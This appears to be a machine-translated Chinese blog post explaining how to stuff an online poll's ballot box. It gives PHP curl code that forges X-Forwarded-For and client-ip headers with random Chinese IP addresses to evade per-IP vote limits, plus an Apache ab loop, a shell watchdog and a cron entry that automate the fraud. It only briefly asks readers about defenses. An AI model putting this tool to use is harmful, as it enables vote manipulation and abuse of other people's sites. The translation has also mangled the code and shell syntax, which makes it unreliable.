About the voting system to brush the principle of the ticket (through the IP limit to brush the ticket PHP version) ____php

First of all, it is not a breakthrough in the IP limit, because in fact, this limit is on the server side, the client is in the cool, also can not break through. It's just a lot of time to brush the tickets.

A friend suddenly sent a website and asked me to vote for her. I am a more easy-going person, I helped her vote. By the way, the site was found to have IP restrictions on the polling system, but voting was an AJAX request. Then the solution came out.

Many voting PC sites rely on restricted IP to limit voter turnout. Then I use Curl to forge IP, then can easily create multiple IP to vote.

Paste the following PHP code:

Since the other side is get Ajax request, I am here to put on the Go method, post method please modify

<?php/** * @author 邹颢 zouhao619@gmail.com/$ip _long = Array (Array (' 607649792 ', ' 608174079 '),//36.56.0.0-36.63.2 55.255 Array (' 1038614528 ', ' 1039007743 '),//61.232.0.0-61.237.255.255 array (' 1783627776 ', ' 1784676351 '),// 106.80.0.0-106.95.255.255 Array (' 2035023872 ', ' 2035154943 '),//121.76.0.0-121.77.255.255 array (' 2078801920 ', '
	2079064063 '),//123.232.0.0-123.235.255.255 array ('-1950089216 ', '-1948778497 '),//139.196.0.0-139.215.255.255 Array (' -1425539072 ', ' -1425014785 '),//171.8.0.0-171.15.255.255 array ('-1236271104 ', '-1235419137 '),// 182.80.0.0-182.92.255.255 Array (' -770113536 ', ' -768606209 '),//210.25.0.0-210.47.255.255 array ('-569376768 ', '-
564133889 '),//222.16.0.0-222.95.255.255);
$rand _key = Mt_rand (0, 9); $ip = Long2ip (Mt_rand ($ip _long[$rand _key][0], $ip _long[$rand _key][1]);//randomly generate a domestic IP $url = ' localhost/ip.php ';
Here please fill in the voting request address $ch = Curl_init ($url); 
$header = Array ("client-ip:{$ip}", "x-forwarded-for:{$ip}",); curl_setopt ($ch, Curlopt_httpheader, $headeR); curl_setopt ($ch, Curlopt_returntransfer, true);
Get Data back to Curl_exec ($ch); Curl_close ($ch);

The first part is to randomly generate a domestic IP, and then use Curl simulation request.

Because the site limit is an IP limit of 1 hours to cast 30 votes, so I am here is random.

If the site is limited to 1 IP 1, then it is best to IP modification in order to generate domestic IP, so you can not repeat.

And then I'm on, Apache AB, 20 votes each time. The ticket was soon brushed up.

So in the face of such malicious brush ticket have what solution?

I have no good way to defend myself. But my curl is actually webservice access, such access is not session or cookie, of course, curl can also simulate with cookies, Then take the Phpsessionid to bring the session.

But for an unknown website, it is not known how he handles it. Therefore, if you judge whether a session is present, it effectively resists a batch of brushes. But do not hint at the prompt is missing text such as session. It is better to have a valid period of time when this will increase ( But if the drawer knows the principle, it does not mean that he can be defended.

Add one point: A lot of code said to be able to get the visitor's real IP address, this I have not encountered the right way to get the user's real IP. If so, please leave a message.

If there is any good defense plan, wish to leave a message.

Sometimes if a timeout can cause a script to break, it's best to work with a crond to execute the script every minute.

The script code is:

#!/bin/sh
pid= ' ps-ef |grep localhost/vote.php |grep vote.php | awk ' {print $} ';
if [[$pid = = ""]];then
	echo "vote is start"
	; Nohup/usr/bin/ab-n 100000-c http://localhost/vote.php
else
	echo "vote.php is running";
Fi

This script is a minute to judge whether the process exists or not, and if it does not exist, start the process.

In addition, you can not use Nohup to perform the background

Running Crond every minute on the opening.

Crontab-e

Edit Crond Task

* * * * */www/web/default/controller/script/vote.sh * * *

The first 5 * numbers represent the execution of this script every minute. If not, please consult the cron data

Turn on cron

Service Crond Start

Workpiece, peace of mind let him automatically brush it. You can do something else.

Windows system please do your own task, I do not post code here.